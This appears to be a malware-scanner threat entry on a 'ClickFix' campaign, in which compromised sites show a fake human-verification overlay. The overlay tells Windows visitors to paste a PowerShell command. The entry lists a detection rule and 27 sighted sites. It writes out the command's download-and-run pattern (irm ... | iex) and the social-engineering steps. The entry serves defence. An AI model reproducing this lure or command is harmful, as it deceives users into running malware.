ScanMalware.com
Known malicious kitcriticalphishing

Windows ClickFix: injected 'Human Verification' overlay (Win+X, Terminal) — overlay code

family: clickfix-winx-overlay-2026-10

Compromised websites carrying an injected script that draws a fake Cloudflare-style 'Human Verification' overlay ('I'm not a robot', a Ray ID) and tells Windows visitors to press and hold the Windows key + X, choose Terminal (or press I), paste with Ctrl+V and press Enter. The pasted text is a PowerShell command that downloads and runs a second stage (irm '<host>/<id>' | iex). The overlay text is translated into several languages, and the script that draws it is packed, so the command never appears in the page source. Seen on dozens of small-business sites on 2026-10-01 loading the overlay from browseid[.]codes, and in an earlier version of the same overlay since August 2026. No legitimate verification step asks visitors to run a command.

Anchors

YARA ruleClickFix_WinX_Overlay_Kit

Provenance

Added: 2026-10-01 13:30
Page rule keyed on the overlay's own element id and key-press animation names, which do not change with the language of the overlay text. Matches the rendered page wherever the overlay was drawn; sites that load the script but did not show the overlay to the scanner do not match.
References:

Sightings (27)

HostScanScriptMatchWhen
vanderbilt-park.com7e33ebe2…https://vanderbilt-park.com/#htmlyara2026-10-01 16:27
velti-digital.com3bfbfb15…https://velti-digital.com/#htmlyara2026-10-01 16:26
utopiagaming.it932d359a…https://utopiagaming.it/#htmlyara2026-10-01 16:26
www.green-ard.com88b47644…https://www.green-ard.com/#htmlyara2026-10-01 13:38
heatingsolutionsni.com98e93f33…https://heatingsolutionsni.com/#htmlyara2026-10-01 13:37
haarsalon-tonina.deee51590b…https://haarsalon-tonina.de/#htmlyara2026-10-01 13:37
diabetescareth.com28812a0f…https://diabetescareth.com/#htmlyara2026-10-01 13:37
grishiv.com65aa2b68…https://grishiv.com/#htmlyara2026-10-01 13:37
groupeglobalenergy.com2397f734…https://groupeglobalenergy.com/#htmlyara2026-10-01 13:37
harrabycommunitycentre.co.ukba0e2e1d…https://harrabycommunitycentre.co.uk/#htmlyara2026-10-01 13:37
www.gusanacoating.com7431bc60…https://www.gusanacoating.com/#htmlyara2026-10-01 13:36
dein-sandmann.de46847c39…https://dein-sandmann.de/#htmlyara2026-10-01 13:31
www.gusanacoating.com166ced3e…https://www.gusanacoating.com/#htmlyara2026-10-01 13:31
destinydureke.comd82fcec0…https://destinydureke.com/#htmlyara2026-10-01 13:31
iceido.comfb95a413…https://iceido.com/#htmlyara2026-10-01 13:31
18.208.215.155eccec11e…https://18.208.215.155/#htmlyara2026-10-01 13:31
circaire.com#html4e36e012…https://circaire.com#htmlyara2026-10-01 13:31
solarcameratrailer.com8e0c38e6…https://solarcameratrailer.com/#htmlyara2026-10-01 13:31
macroad.it#htmla7182413…https://macroad.it#htmlyara2026-10-01 13:31
parcelcourierline.coma1294de5…https://parcelcourierline.com/#htmlyara2026-10-01 13:31
indodrama.my.id5f188992…https://indodrama.my.id/#htmlyara2026-10-01 13:31
intelligenes.comc92d5e6c…https://intelligenes.com/#htmlyara2026-10-01 13:31
sportorium.ptumb.combdb6c975…https://sportorium.ptumb.com/usaha/#htmlyara2026-10-01 13:31
tecnogermana.com#html444ecfbf…https://tecnogermana.com#htmlyara2026-10-01 13:31
drgift.euf8e6209e…https://drgift.eu/#htmlyara2026-10-01 13:31
wwvv.infoff10272b…https://wwvv.info/mghirealty.com?c=%2F#htmlyara2026-10-01 13:31
kohatpromotions.com#htmlca791ac9…https://kohatpromotions.com#htmlyara2026-10-01 13:31